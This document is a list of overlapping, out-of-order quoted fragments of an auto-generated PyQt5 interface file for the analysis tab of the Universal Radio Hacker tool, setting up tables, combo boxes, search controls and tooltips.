"self.tblLabelValues.setShowGrid(False) self.tblLabelValues.setObjectName(\"tblLabelValues\") self.tblLabelValues.horizontalHeader().setVisible(True) self.tblLabelValues.horizontalHeader().setCascadingSectionResizes(False) self.tblLabelValues.horizontalHeader().setDefaultSectionSize(150) self.tblLabelValues.horizontalHeader().setStretchLastSection(True) self.tblLabelValues.verticalHeader().setVisible(False) self.gridLayout.addWidget(self.tblLabelValues, 1, 1, 2, 1) self.listViewLabelNames",
"\"0 (+0)\")) self.lBits.setText(_translate(\"FAnalysis\", \"Bit:\")) self.lHex.setText(_translate(\"FAnalysis\", \"Hex:\")) self.lDecimal.setText(_translate(\"FAnalysis\", \"Decimal:\")) self.lNumSelectedColumns.setText(_translate(\"FAnalysis\", \"0\")) self.lColumnsSelectedText.setText(_translate(\"FAnalysis\", \"Column(s) selected\"))",
"self.tblLabelValues.verticalHeader().setVisible(False) self.gridLayout.addWidget(self.tblLabelValues, 1, 1, 2, 1) self.listViewLabelNames = ProtocolLabelListView(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)",
"self.tblViewProtocol.setAutoScroll(True) self.tblViewProtocol.setDragDropMode(QtWidgets.QAbstractItemView.DropOnly) self.tblViewProtocol.setAlternatingRowColors(True) self.tblViewProtocol.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection) self.tblViewProtocol.setTextElideMode(QtCore.Qt.ElideNone) self.tblViewProtocol.setVerticalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setHorizontalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setShowGrid(False) self.tblViewProtocol.setGridStyle(QtCore.Qt.NoPen) self.tblViewProtocol.setSortingEnabled(False) self.tblViewProtocol.setWordWrap(False) self.tblViewProtocol.setCornerButtonEnabled(False) self.tblViewProtocol.setObjectName(\"tblViewProtocol\")",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.stackedWidgetLogicAnalysis.sizePolicy().hasHeightForWidth()) self.stackedWidgetLogicAnalysis.setSizePolicy(sizePolicy) self.stackedWidgetLogicAnalysis.setObjectName(\"stackedWidgetLogicAnalysis\") self.pageButtonAnalyzer = QtWidgets.QWidget() self.pageButtonAnalyzer.setObjectName(\"pageButtonAnalyzer\") self.verticalLayout_5 = QtWidgets.QVBoxLayout(self.pageButtonAnalyzer) self.verticalLayout_5.setContentsMargins(0,",
"the average signal power of the current message.</p></body></html>\")) self.label_2.setText(_translate(\"FAnalysis\", \"RSSI:\")) self.lblRSSI.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span",
"Ui_FAnalysis(object): def setupUi(self, FAnalysis): FAnalysis.setObjectName(\"FAnalysis\") FAnalysis.resize(1372, 907) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"= QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnAnalyze.sizePolicy().hasHeightForWidth()) self.btnAnalyze.setSizePolicy(sizePolicy) self.btnAnalyze.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnAnalyze.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnAnalyze.setObjectName(\"btnAnalyze\")",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewParticipants.sizePolicy().hasHeightForWidth()) self.listViewParticipants.setSizePolicy(sizePolicy) self.listViewParticipants.setObjectName(\"listViewParticipants\") self.verticalLayout.addWidget(self.listViewParticipants) self.cbProtoView = QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy",
"Manchester\")) self.cbDecoding.setItemText(4, _translate(\"FAnalysis\", \"...\")) self.lEncodingErrors.setText(_translate(\"FAnalysis\", \"Decoding errors for message:\")) self.lDecodingErrorsValue.setText(_translate(\"FAnalysis\", \"0 (0.00%) \"))",
"1) self.line_2 = QtWidgets.QFrame(self.frame_3) self.line_2.setFrameShape(QtWidgets.QFrame.VLine) self.line_2.setFrameShadow(QtWidgets.QFrame.Sunken) self.line_2.setObjectName(\"line_2\") self.gridLayout_2.addWidget(self.line_2, 0, 12, 1, 1) self.label_3",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewLabelNames.sizePolicy().hasHeightForWidth()) self.listViewLabelNames.setSizePolicy(sizePolicy) self.listViewLabelNames.setAcceptDrops(False) self.listViewLabelNames.setObjectName(\"listViewLabelNames\") self.gridLayout.addWidget(self.listViewLabelNames, 2, 0,",
"sizePolicy.setHeightForWidth(self.cbDecoding.sizePolicy().hasHeightForWidth()) self.cbDecoding.setSizePolicy(sizePolicy) self.cbDecoding.setSizeAdjustPolicy(QtWidgets.QComboBox.AdjustToContents) self.cbDecoding.setObjectName(\"cbDecoding\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.verticalLayout.addWidget(self.cbDecoding) self.lEncodingErrors = QtWidgets.QLabel(self.scrollAreaWidgetContents)",
"= QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecodingErrorsValue.sizePolicy().hasHeightForWidth()) self.lDecodingErrorsValue.setSizePolicy(sizePolicy) self.lDecodingErrorsValue.setObjectName(\"lDecodingErrorsValue\") self.verticalLayout.addWidget(self.lDecodingErrorsValue) self.labelDecodingState",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.progressBarLogicAnalyzer.sizePolicy().hasHeightForWidth()) self.progressBarLogicAnalyzer.setSizePolicy(sizePolicy) self.progressBarLogicAnalyzer.setProperty(\"value\", 24) self.progressBarLogicAnalyzer.setObjectName(\"progressBarLogicAnalyzer\") self.verticalLayout_6.addWidget(self.progressBarLogicAnalyzer) self.stackedWidgetLogicAnalysis.addWidget(self.pageProgressBar) self.verticalLayout.addWidget(self.stackedWidgetLogicAnalysis)",
"self.treeViewProtocols.setDragDropOverwriteMode(False) self.treeViewProtocols.setDragDropMode(QtWidgets.QAbstractItemView.DragDrop) self.treeViewProtocols.setDefaultDropAction(QtCore.Qt.IgnoreAction) self.treeViewProtocols.setObjectName(\"treeViewProtocols\") self.treeViewProtocols.header().setVisible(False) self.verticalLayout.addWidget(self.treeViewProtocols) self.label_4 = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_4.setObjectName(\"label_4\") self.verticalLayout.addWidget(self.label_4) self.listViewParticipants =",
"self.btnAnalyze.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnAnalyze.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnAnalyze.setObjectName(\"btnAnalyze\") self.verticalLayout.addWidget(self.btnAnalyze) self.stackedWidgetLogicAnalysis = QtWidgets.QStackedWidget(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"\">\")) self.label_2.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Received Signal Strength Indicator</span> indicates the average signal",
"0, 0) self.verticalLayout_5.setObjectName(\"verticalLayout_5\") self.stackedWidgetLogicAnalysis.addWidget(self.pageButtonAnalyzer) self.pageProgressBar = QtWidgets.QWidget() self.pageProgressBar.setObjectName(\"pageProgressBar\") self.verticalLayout_6 = QtWidgets.QVBoxLayout(self.pageProgressBar) self.verticalLayout_6.setContentsMargins(0, 0,",
"self.stackedWidgetLogicAnalysis.addWidget(self.pageButtonAnalyzer) self.pageProgressBar = QtWidgets.QWidget() self.pageProgressBar.setObjectName(\"pageProgressBar\") self.verticalLayout_6 = QtWidgets.QVBoxLayout(self.pageProgressBar) self.verticalLayout_6.setContentsMargins(0, 0, 0, 0) self.verticalLayout_6.setObjectName(\"verticalLayout_6\")",
"QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.gridLayout_2.addItem(spacerItem, 0, 8, 1, 1) self.line = QtWidgets.QFrame(self.frame_3) self.line.setFrameShape(QtWidgets.QFrame.VLine) self.line.setFrameShadow(QtWidgets.QFrame.Sunken) self.line.setObjectName(\"line\")",
"self.tblLabelValues.horizontalHeader().setStretchLastSection(True) self.tblLabelValues.verticalHeader().setVisible(False) self.gridLayout.addWidget(self.tblLabelValues, 1, 1, 2, 1) self.listViewLabelNames = ProtocolLabelListView(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,",
"previous message is shown.</p></body></html>\")) self.lTime.setText(_translate(\"FAnalysis\", \"0 (+0)\")) self.lBits.setText(_translate(\"FAnalysis\", \"Bit:\")) self.lHex.setText(_translate(\"FAnalysis\", \"Hex:\")) self.lDecimal.setText(_translate(\"FAnalysis\", \"Decimal:\"))",
"values for message\")) self.btnMessagetypeSettings.setToolTip(_translate(\"FAnalysis\", \"Settings for message type\")) self.btnMessagetypeSettings.setText(_translate(\"FAnalysis\", \"...\")) self.btnAddMessagetype.setToolTip(_translate(\"FAnalysis\", \"Add a",
"ProtocolLabelListView(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewLabelNames.sizePolicy().hasHeightForWidth()) self.listViewLabelNames.setSizePolicy(sizePolicy) self.listViewLabelNames.setAcceptDrops(False) self.listViewLabelNames.setObjectName(\"listViewLabelNames\") self.gridLayout.addWidget(self.listViewLabelNames, 2,",
"of the current message.</p></body></html>\")) self.label_2.setText(_translate(\"FAnalysis\", \"RSSI:\")) self.lblRSSI.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Received Signal Strength",
"self.btnSaveProto = QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnSaveProto.sizePolicy().hasHeightForWidth()) self.btnSaveProto.setSizePolicy(sizePolicy) self.btnSaveProto.setMaximumSize(QtCore.QSize(16777215, 16777215))",
"type\")) self.btnRemoveMessagetype.setText(_translate(\"FAnalysis\", \"...\")) from urh.ui.views.LabelValueTableView import LabelValueTableView from urh.ui.views.ProtocolLabelListView import ProtocolLabelListView from urh.ui.views.ProtocolTableView",
"sizePolicy.setHeightForWidth(self.listViewParticipants.sizePolicy().hasHeightForWidth()) self.listViewParticipants.setSizePolicy(sizePolicy) self.listViewParticipants.setObjectName(\"listViewParticipants\") self.verticalLayout.addWidget(self.listViewParticipants) self.cbProtoView = QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"self.lHexSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lHexSelection.setAcceptDrops(False) self.lHexSelection.setReadOnly(True) self.lHexSelection.setObjectName(\"lHexSelection\") self.horizontalLayout_3.addWidget(self.lHexSelection) self.lDecimal = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed)",
"self.line.setObjectName(\"line\") self.gridLayout_2.addWidget(self.line, 0, 9, 1, 1) self.label_2 = QtWidgets.QLabel(self.frame_3) self.label_2.setObjectName(\"label_2\") self.gridLayout_2.addWidget(self.label_2, 0, 10,",
"= QtWidgets.QVBoxLayout(self.frame_4) self.verticalLayout_8.setObjectName(\"verticalLayout_8\") self.scrollArea = QtWidgets.QScrollArea(self.frame_4) self.scrollArea.setWidgetResizable(True) self.scrollArea.setObjectName(\"scrollArea\") self.scrollAreaWidgetContents = QtWidgets.QWidget() self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0,",
"self.listViewParticipants = QtWidgets.QListView(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewParticipants.sizePolicy().hasHeightForWidth()) self.listViewParticipants.setSizePolicy(sizePolicy) self.listViewParticipants.setObjectName(\"listViewParticipants\") self.verticalLayout.addWidget(self.listViewParticipants)",
"QtWidgets.QLabel(self.scrollAreaWidgetContents) self.labelDecodingState.setObjectName(\"labelDecodingState\") self.verticalLayout.addWidget(self.labelDecodingState) self.cbShowDiffs = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbShowDiffs.sizePolicy().hasHeightForWidth())",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lNumSelectedColumns.sizePolicy().hasHeightForWidth()) self.lNumSelectedColumns.setSizePolicy(sizePolicy) self.lNumSelectedColumns.setObjectName(\"lNumSelectedColumns\") self.horizontalLayout_3.addWidget(self.lNumSelectedColumns) self.lColumnsSelectedText = QtWidgets.QLabel(self.frame_3) self.lColumnsSelectedText.setObjectName(\"lColumnsSelectedText\") self.horizontalLayout_3.addWidget(self.lColumnsSelectedText)",
"will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_FAnalysis(object): def setupUi(self,",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewLabelNames.sizePolicy().hasHeightForWidth()) self.listViewLabelNames.setSizePolicy(sizePolicy) self.listViewLabelNames.setAcceptDrops(False) self.listViewLabelNames.setObjectName(\"listViewLabelNames\") self.gridLayout.addWidget(self.listViewLabelNames, 2, 0, 1, 1)",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchTotal.sizePolicy().hasHeightForWidth()) self.lSearchTotal.setSizePolicy(sizePolicy) self.lSearchTotal.setStyleSheet(\"QLabel\\n\" \"{\\n\" \" qproperty-alignment: AlignCenter;\\n\" \"}\") self.lSearchTotal.setObjectName(\"lSearchTotal\") self.gridLayout_2.addWidget(self.lSearchTotal, 0, 6,",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnAnalyze.sizePolicy().hasHeightForWidth()) self.btnAnalyze.setSizePolicy(sizePolicy) self.btnAnalyze.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnAnalyze.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnAnalyze.setObjectName(\"btnAnalyze\") self.verticalLayout.addWidget(self.btnAnalyze) self.stackedWidgetLogicAnalysis = QtWidgets.QStackedWidget(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,",
"self.btnSaveProto.setObjectName(\"btnSaveProto\") self.horizontalLayout_2.addWidget(self.btnSaveProto) self.verticalLayout.addLayout(self.horizontalLayout_2) self.treeViewProtocols = ProtocolTreeView(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.treeViewProtocols.sizePolicy().hasHeightForWidth())",
"QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbShowDiffs.sizePolicy().hasHeightForWidth()) self.cbShowDiffs.setSizePolicy(sizePolicy) self.cbShowDiffs.setObjectName(\"cbShowDiffs\") self.verticalLayout.addWidget(self.cbShowDiffs) self.chkBoxShowOnlyDiffs = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxShowOnlyDiffs.setObjectName(\"chkBoxShowOnlyDiffs\") self.verticalLayout.addWidget(self.chkBoxShowOnlyDiffs) self.chkBoxOnlyShowLabelsInProtocol",
"self.scrollAreaWidgetContents = QtWidgets.QWidget() self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 320, 514)) self.scrollAreaWidgetContents.setObjectName(\"scrollAreaWidgetContents\") self.verticalLayout = QtWidgets.QVBoxLayout(self.scrollAreaWidgetContents) self.verticalLayout.setContentsMargins(0, 0,",
"0, 320, 514)) self.scrollAreaWidgetContents.setObjectName(\"scrollAreaWidgetContents\") self.verticalLayout = QtWidgets.QVBoxLayout(self.scrollAreaWidgetContents) self.verticalLayout.setContentsMargins(0, 0, 0, 0) self.verticalLayout.setObjectName(\"verticalLayout\") self.horizontalLayout_2",
"sizePolicy.setHeightForWidth(self.lBits.sizePolicy().hasHeightForWidth()) self.lBits.setSizePolicy(sizePolicy) self.lBits.setMaximumSize(QtCore.QSize(16777215, 15)) self.lBits.setObjectName(\"lBits\") self.horizontalLayout_3.addWidget(self.lBits) self.lBitsSelection = QtWidgets.QLineEdit(self.frame_3) self.lBitsSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lBitsSelection.setAcceptDrops(False) self.lBitsSelection.setReadOnly(True)",
"1) self.verticalLayout_3.addLayout(self.gridLayout_2) self.tblViewProtocol = ProtocolTableView(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblViewProtocol.sizePolicy().hasHeightForWidth()) self.tblViewProtocol.setSizePolicy(sizePolicy)",
"self.label_3 = QtWidgets.QLabel(self.frame_3) self.label_3.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.label_3.setObjectName(\"label_3\") self.gridLayout_2.addWidget(self.label_3, 0, 13, 1, 1) self.lTime = QtWidgets.QLabel(self.frame_3)",
"0, 10, 1, 1) self.lblRSSI = QtWidgets.QLabel(self.frame_3) self.lblRSSI.setObjectName(\"lblRSSI\") self.gridLayout_2.addWidget(self.lblRSSI, 0, 11, 1, 1)",
"self.lSearchTotal.setObjectName(\"lSearchTotal\") self.gridLayout_2.addWidget(self.lSearchTotal, 0, 6, 1, 1) self.btnNextSearch = QtWidgets.QToolButton(self.frame_3) self.btnNextSearch.setEnabled(False) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,",
"QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbDecoding.sizePolicy().hasHeightForWidth()) self.cbDecoding.setSizePolicy(sizePolicy) self.cbDecoding.setSizeAdjustPolicy(QtWidgets.QComboBox.AdjustToContents) self.cbDecoding.setObjectName(\"cbDecoding\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\")",
"1) self.label_2 = QtWidgets.QLabel(self.frame_3) self.label_2.setObjectName(\"label_2\") self.gridLayout_2.addWidget(self.label_2, 0, 10, 1, 1) self.lblRSSI = QtWidgets.QLabel(self.frame_3)",
"self.verticalLayout.addLayout(self.horizontalLayout_2) self.treeViewProtocols = ProtocolTreeView(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.treeViewProtocols.sizePolicy().hasHeightForWidth()) self.treeViewProtocols.setSizePolicy(sizePolicy) self.treeViewProtocols.setAcceptDrops(True)",
"12, 1, 1) self.label_3 = QtWidgets.QLabel(self.frame_3) self.label_3.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.label_3.setObjectName(\"label_3\") self.gridLayout_2.addWidget(self.label_3, 0, 13, 1, 1)",
"self.tblViewProtocol.setShowGrid(False) self.tblViewProtocol.setGridStyle(QtCore.Qt.NoPen) self.tblViewProtocol.setSortingEnabled(False) self.tblViewProtocol.setWordWrap(False) self.tblViewProtocol.setCornerButtonEnabled(False) self.tblViewProtocol.setObjectName(\"tblViewProtocol\") self.tblViewProtocol.horizontalHeader().setDefaultSectionSize(40) self.verticalLayout_3.addWidget(self.tblViewProtocol) self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\") self.lBits",
"QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnPrevSearch.sizePolicy().hasHeightForWidth()) self.btnPrevSearch.setSizePolicy(sizePolicy) self.btnPrevSearch.setMaximumSize(QtCore.QSize(20, 16777215)) icon = QtGui.QIcon.fromTheme(\"go-previous\") self.btnPrevSearch.setIcon(icon) self.btnPrevSearch.setObjectName(\"btnPrevSearch\") self.gridLayout_2.addWidget(self.btnPrevSearch,",
"QtWidgets.QProgressBar(self.pageProgressBar) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.progressBarLogicAnalyzer.sizePolicy().hasHeightForWidth()) self.progressBarLogicAnalyzer.setSizePolicy(sizePolicy) self.progressBarLogicAnalyzer.setProperty(\"value\", 24) self.progressBarLogicAnalyzer.setObjectName(\"progressBarLogicAnalyzer\") self.verticalLayout_6.addWidget(self.progressBarLogicAnalyzer)",
"0, 2, 1, 1) self.btnPrevSearch = QtWidgets.QToolButton(self.frame_3) self.btnPrevSearch.setEnabled(False) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0)",
"self.label_3.setObjectName(\"label_3\") self.gridLayout_2.addWidget(self.label_3, 0, 13, 1, 1) self.lTime = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lHex.sizePolicy().hasHeightForWidth()) self.lHex.setSizePolicy(sizePolicy) self.lHex.setMaximumSize(QtCore.QSize(16777215, 15)) self.lHex.setObjectName(\"lHex\") self.horizontalLayout_3.addWidget(self.lHex) self.lHexSelection = QtWidgets.QLineEdit(self.frame_3) self.lHexSelection.setMaximumSize(QtCore.QSize(16777215, 20))",
"self.lblLabelValues.setObjectName(\"lblLabelValues\") self.gridLayout.addWidget(self.lblLabelValues, 0, 1, 1, 1) self.horizontalLayout = QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName(\"horizontalLayout\") self.cbMessagetypes = QtWidgets.QComboBox(self.frame)",
"the relative time (+ ...) from the previous message is shown.</p></body></html>\")) self.label_3.setText(_translate(\"FAnalysis\", \"Timestamp:\"))",
"= QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSlash.sizePolicy().hasHeightForWidth()) self.lSlash.setSizePolicy(sizePolicy) self.lSlash.setAlignment(QtCore.Qt.AlignCenter) self.lSlash.setObjectName(\"lSlash\") self.gridLayout_2.addWidget(self.lSlash,",
"self.cbDecoding.setItemText(1, _translate(\"FAnalysis\", \"Manchester\")) self.cbDecoding.setItemText(2, _translate(\"FAnalysis\", \"Manchester II\")) self.cbDecoding.setItemText(3, _translate(\"FAnalysis\", \"Differential Manchester\")) self.cbDecoding.setItemText(4, _translate(\"FAnalysis\",",
"1, 1, 2, 1) self.listViewLabelNames = ProtocolLabelListView(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"message.</p></body></html>\")) self.lblRSSI.setText(_translate(\"FAnalysis\", \"1.04\")) self.label_3.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Message Start</span> is the point in",
"= QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_4.setObjectName(\"label_4\") self.verticalLayout.addWidget(self.label_4) self.listViewParticipants = QtWidgets.QListView(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblLabelValues.sizePolicy().hasHeightForWidth()) self.tblLabelValues.setSizePolicy(sizePolicy) self.tblLabelValues.setAlternatingRowColors(True) self.tblLabelValues.setShowGrid(False) self.tblLabelValues.setObjectName(\"tblLabelValues\") self.tblLabelValues.horizontalHeader().setVisible(True) self.tblLabelValues.horizontalHeader().setCascadingSectionResizes(False) self.tblLabelValues.horizontalHeader().setDefaultSectionSize(150)",
"self.verticalLayout_8.addWidget(self.scrollArea) self.frame_3 = QtWidgets.QFrame(self.splitter_2) self.frame_3.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_3.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_3.setObjectName(\"frame_3\") self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.frame_3) self.verticalLayout_3.setObjectName(\"verticalLayout_3\") self.gridLayout_2 =",
"QtWidgets.QCheckBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbShowDiffs.sizePolicy().hasHeightForWidth()) self.cbShowDiffs.setSizePolicy(sizePolicy) self.cbShowDiffs.setObjectName(\"cbShowDiffs\") self.verticalLayout.addWidget(self.cbShowDiffs) self.chkBoxShowOnlyDiffs =",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lineEditSearch.sizePolicy().hasHeightForWidth()) self.lineEditSearch.setSizePolicy(sizePolicy) self.lineEditSearch.setAcceptDrops(False) self.lineEditSearch.setClearButtonEnabled(True) self.lineEditSearch.setObjectName(\"lineEditSearch\") self.gridLayout_2.addWidget(self.lineEditSearch, 0, 0, 1, 1) self.btnSearchSelectFilter",
"(0.00%) \")) self.labelDecodingState.setText(_translate(\"FAnalysis\", \"SUCCESS\")) self.cbShowDiffs.setText(_translate(\"FAnalysis\", \"Mark diffs in protocol\")) self.chkBoxShowOnlyDiffs.setText(_translate(\"FAnalysis\", \"Show only diffs",
"self.frame_4.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_4.setObjectName(\"frame_4\") self.verticalLayout_8 = QtWidgets.QVBoxLayout(self.frame_4) self.verticalLayout_8.setObjectName(\"verticalLayout_8\") self.scrollArea = QtWidgets.QScrollArea(self.frame_4) self.scrollArea.setWidgetResizable(True) self.scrollArea.setObjectName(\"scrollArea\") self.scrollAreaWidgetContents =",
